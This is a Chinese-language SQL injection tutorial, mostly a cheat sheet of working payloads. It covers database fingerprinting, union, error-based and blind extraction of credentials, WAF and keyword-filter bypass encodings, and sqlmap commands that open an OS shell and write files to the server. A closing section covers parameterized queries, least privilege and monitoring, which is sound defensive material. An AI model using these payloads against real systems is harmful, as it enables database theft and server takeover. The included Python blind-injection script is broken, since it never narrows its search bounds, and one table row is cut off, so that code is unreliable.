一、SQL注入基础与原理
1.1 核心原理与产生条件
基本原理 :
SQL注入是Web安全领域最严重的漏洞之一,攻击者通过在应用程序的输入参数中插入恶意的SQL代码片段,改变原有SQL查询的语义和逻辑,诱使数据库执行非预期的操作命令。
产生条件分析:
-
用户可控的输入数据
-
输入数据被直接拼接到SQL查询语句中
-
缺乏有效的输入过滤或转义机制
-
数据库权限配置不当
经典示例分析:
-- 原始查询设计
SELECT * FROM users WHERE username = '$username' AND password = '$password'
-- 攻击者输入
用户名:admin' --
密码:任意值
-- 最终执行的查询
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意值'
-- 注释符(--)使密码验证失效,直接以admin身份登录
1.2 潜在危害等级
| 危害等级 | 影响范围 | 具体危害 |
|---|---|---|
| 高危 | 数据库层面 | 敏感数据泄露(用户凭证、个人信息、商业机密) |
| 严重 | 系统层面 | 数据库完全控制(增删改数据、删除表) |
| 致命 | 服务器层面 | 服务器文件系统访问、远程代码执行、横向渗透 |
二、系统化信息收集技术
2.1 数据库指纹精确识别
多维度识别方法:
-- 方法1:通过特有函数识别
1' AND substring(@@version,1,1)=5--+ -- 判断是否为MySQL 5.x
1' AND (select count(*) from sys.objects)>0--+ -- 判断是否为MSSQL
-- 方法2:通过注释特性识别
1' /*!MySQL-specific-comment*/ AND 1=1--+ -- MySQL特有注释
-- 方法3:通过错误信息识别
1' AND convert(int,@@version)=1--+ -- MSSQL错误语法
数据库特征速查表:
| 数据库 | 版本查询 | 当前用户查询 | 注释样式 |
|---|---|---|---|
| MySQL | SELECT @@version |
SELECT user() |
#注释 或 -- 注释 |
| MSSQL | SELECT @@version |
SELECT user_name() |
--注释 |
| Oracle | SELECT * FROM v$version |
SELECT user FROM dual |
--注释 |
| PostgreSQL | SELECT version() |
SELECT current_user |
--注释 |
2.2 环境信息深度探测
-- 获取数据库基本信息链
1' UNION SELECT
database(), -- 当前数据库名
version(), -- 数据库版本
user(), -- 当前用户
@@hostname, -- 服务器主机名
@@datadir -- 数据存储路径
--+
-- 判断用户权限等级(MySQL示例)
1' AND (SELECT super_priv FROM mysql.user WHERE user=user() LIMIT 1)='Y'--+
1' AND (SELECT file_priv FROM mysql.user WHERE user=user() LIMIT 1)='Y'--+
三、主流注入技术详解
3.1 联合查询注入的进阶利用
精确列数判断技巧:
-- 传统ORDER BY方法
?id=1' ORDER BY 5--+ -- 正常
?id=1' ORDER BY 6--+ -- 报错,确定列数为5
-- UNION SELECT NULL技巧(某些数据库适用)
?id=-1' UNION SELECT NULL--+ -- 报错
?id=-1' UNION SELECT NULL,NULL--+ -- 尝试增加NULL直到正常
高效数据提取策略:
-- 分块提取大量数据(避免group_concat截断)
?id=-1' UNION SELECT 1,
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1),
3,4,5--+
-- 循环获取所有表名
?id=-1' UNION SELECT 1,
(SELECT GROUP_CONCAT(table_name) FROM
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,10) as t),
3,4,5--+
3.2 报错注入的多样化利用
MySQL报错函数综合应用:
-- 1. updatexml函数(最大32位限制)
' AND updatexml(1, concat(0x7e,
(SELECT substring(concat(username,0x3a,password),1,30)
FROM users LIMIT 1),
0x7e), 1)--+
-- 2. extractvalue函数
' AND extractvalue(1, concat(0x7e,
(SELECT DISTINCT concat(0x23,table_name,0x23)
FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1)
,0x7e))--+
-- 3. 几何函数报错(MySQL 5.7+)
' AND ST_LatFromGeoHash((SELECT * FROM (SELECT * FROM (SELECT user())a)b))--+
-- 4. 名称约束报错
' AND (SELECT * FROM (SELECT NAME_CONST(version(),1),
NAME_CONST(version(),1))a)--+
多数据库报错注入对比:
| 数据库 | 报错函数/方法 | 示例 |
|---|---|---|
| MySQL | updatexml, extractvalue | 如上所示 |
| MSSQL | convert, cast | ' AND 1=convert(int,@@version)-- |
| Oracle | utl_inaddr.get_host_name | ' AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))-- |
3.3 盲注技术的优化策略
布尔盲注的二分法优化:
-- 传统逐字符判断
' AND ascii(substr((SELECT database()),1,1)) > 0--+
-- 优化版二分查找
' AND ascii(substr((SELECT database()),1,1)) & 128 = 128--+
' AND ascii(substr((SELECT database()),1,1)) & 64 = 64--+
' AND ascii(substr((SELECT database()),1,1)) & 32 = 32--+
...(依次判断每个bit位,7次请求确定一个字符)
-- 位运算加速(一次请求获取部分信息)
' AND (ascii(substr((SELECT database()),1,1)) >> 4) = 7--+
时间盲注的精准控制:
-- 基础延时判断
' AND IF(ascii(substr(database(),1,1))>100,
SLEEP(2), 1)--+
-- 带条件的分级延时
' AND IF(ascii(substr((SELECT password FROM users WHERE id=1),1,1))>128,
BENCHMARK(10000000,MD5('test')), 1)--+
-- PostgreSQL时间盲注
' AND (SELECT CASE WHEN (ascii(substr(version(),1,1))>100)
THEN pg_sleep(3) ELSE pg_sleep(0) END)--+
-- MSSQL时间盲注
'; IF (ascii(substring((SELECT db_name()),1,1))>100) WAITFOR DELAY '0:0:3'--+
四、高级绕过与混淆技术
4.1 WAF/IDS深度绕过方法
编码与变形技术:
原始:UNION SELECT
变体1:%55%4e%49%4f%4e %53%45%4c%45%43%54 (URL编码)
变体2:U/**/NI/**/ON SE/**/LECT (注释分割)
变体3:UNI\x4fN SEL\x45CT (十六进制插入)
变体4:UNION%0d%0aSELECT (换行分割)
变体5:UNION%09SELECT (制表符分割)
数据库特有绕过技巧:
-- MySQL注释技巧
/*!UNION*/ /*!SELECT*/ 1,2,3
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3 -- 版本特定执行
-- 字符串构造技巧
SELECT CONCAT('U','N','I','O','N',' ','S','E','L','E','C','T')
SELECT CHAR(85,78,73,79,78,32,83,69,76,69,67,84) -- ASCII码构造
-- 空白符替代全集
%20 %09 %0A %0B %0C %0D %A0 /**/ () -- 均可替代空格
4.2 过滤规则智能绕过
关键字过滤绕过矩阵:
| 过滤规则 | 绕过方法 | 示例 |
|---|---|---|
| 删除关键字 | 双写关键字 | selselectect → select |
| 大小写敏感 | 随机大小写 | UnIoN SeLeCt |
| 完整词匹配 | 添加注释 | un/**/ion sel/**/ect |
| 正则过滤 | 内联注释 | /*!union*//*!select*/ |
| AND/OR过滤 | 使用符号 | && 代替 AND, ` |
特殊场景注入:
-
JSON注入:
' AND JSON_EXTRACT('{"a":"b"}', '$.a')='b'--+ -
LIKE子句注入:
' OR username LIKE '%admin%'--+ -
ORDER BY注入:
-- 可控排序字段 order=case when (select 1)=1 then id else name end -- 利用报错 order=(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)五、自动化与工具化利用
5.1 SQLMap高级利用技术
层级化探测策略:
# 第一阶段:基础探测 sqlmap -u "http://target.com/page?id=1" --batch # 第二阶段:深入探测 sqlmap -u "http://target.com/page?id=1" \ --level=3 --risk=2 \ --technique=BEUST \ --dbms=MySQL \ --os-shell # 第三阶段:持久化访问 sqlmap -r request.txt \ --sql-shell \ --file-write=/本地文件 \ --file-dest=/服务器路径特殊场景参数:
# 处理复杂Cookie sqlmap -u "http://target.com" --cookie="id=1*" --cookie-del=";" # 处理JSON参数 sqlmap -u "http://target.com/api" --data='{"id":1}' --param-del="," # 处理多重编码 sqlmap -u "http://target.com" --tamper=charencode # 自定义Tamper脚本 sqlmap -u "http://target.com" --tamper=between,randomcase5.2 手动测试工具链
工具类型 推荐工具 主要用途 代理抓包 Burp Suite, OWASP ZAP 请求拦截与修改 浏览器插件 HackBar, SQLinject 快速构造Payload 编码工具 CyberChef, Decoder 各种编码转换 自定义脚本 Python + Requests库 自动化盲注
Python自动化盲注示例:
import requests
import time
def blind_injection(url, param, payload_template):
result = ""
for i in range(1, 100):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = payload_template.format(pos=i, ascii_val=mid)
start = time.time()
requests.get(url, params={param: payload})
elapsed = time.time() - start
if elapsed > 2: # 时间盲注判断
result += chr(mid)
break
else:
# 调整二分查找边界
pass
return result
六、系统化防御策略
6.1 开发层面最佳实践
参数化查询(各语言示例):
# Python (MySQL)
import pymysql
conn = pymysql.connect()
cursor = conn.cursor()
# 正确做法
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# 错误做法
cursor.execute("SELECT * FROM users WHERE id = " + user_id)
// Java (PreparedStatement)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
输入验证框架:
// Node.js输入验证示例
const validator = require('validator');
function validateInput(input) {
// 白名单验证
if (!validator.isAlphanumeric(input)) {
throw new Error('Invalid input');
}
// 长度限制
if (input.length > 50) {
throw new Error('Input too long');
}
// 类型强制转换
const id = parseInt(input);
if (isNaN(id)) {
throw new Error('ID must be a number');
}
return id;
}
6.2 架构层面纵深防御
多层防御体系:
-
前端层:输入格式验证、长度限制
-
应用层:参数化查询、存储过程、ORM框架
-
数据库层:最小权限原则、存储过程封装
-
网络层:WAF、IDS/IPS、数据库防火墙
数据库权限精细控制:
-- 创建专用应用账户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY '强密码';
-- 授予最小必要权限
GRANT SELECT, INSERT, UPDATE ON app_db.users TO 'webapp'@'localhost';
GRANT SELECT ON app_db.products TO 'webapp'@'localhost';
-- 显式拒绝危险权限
REVOKE ALL PRIVILEGES, GRANT OPTION FROM 'webapp'@'localhost';
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
6.3 监控与应急响应
实时监控指标:
-
异常SQL模式检测(如大量UNION查询)
-
敏感数据访问频率监控
-
数据库错误日志分析
-
用户输入异常模式识别
应急响应流程:
-
立即隔离:暂时阻断攻击源IP
-
日志分析:分析攻击路径和影响范围
-
漏洞修复:修补注入漏洞
-
数据审计:检查数据完整性
-
安全加固:加强相关防护措施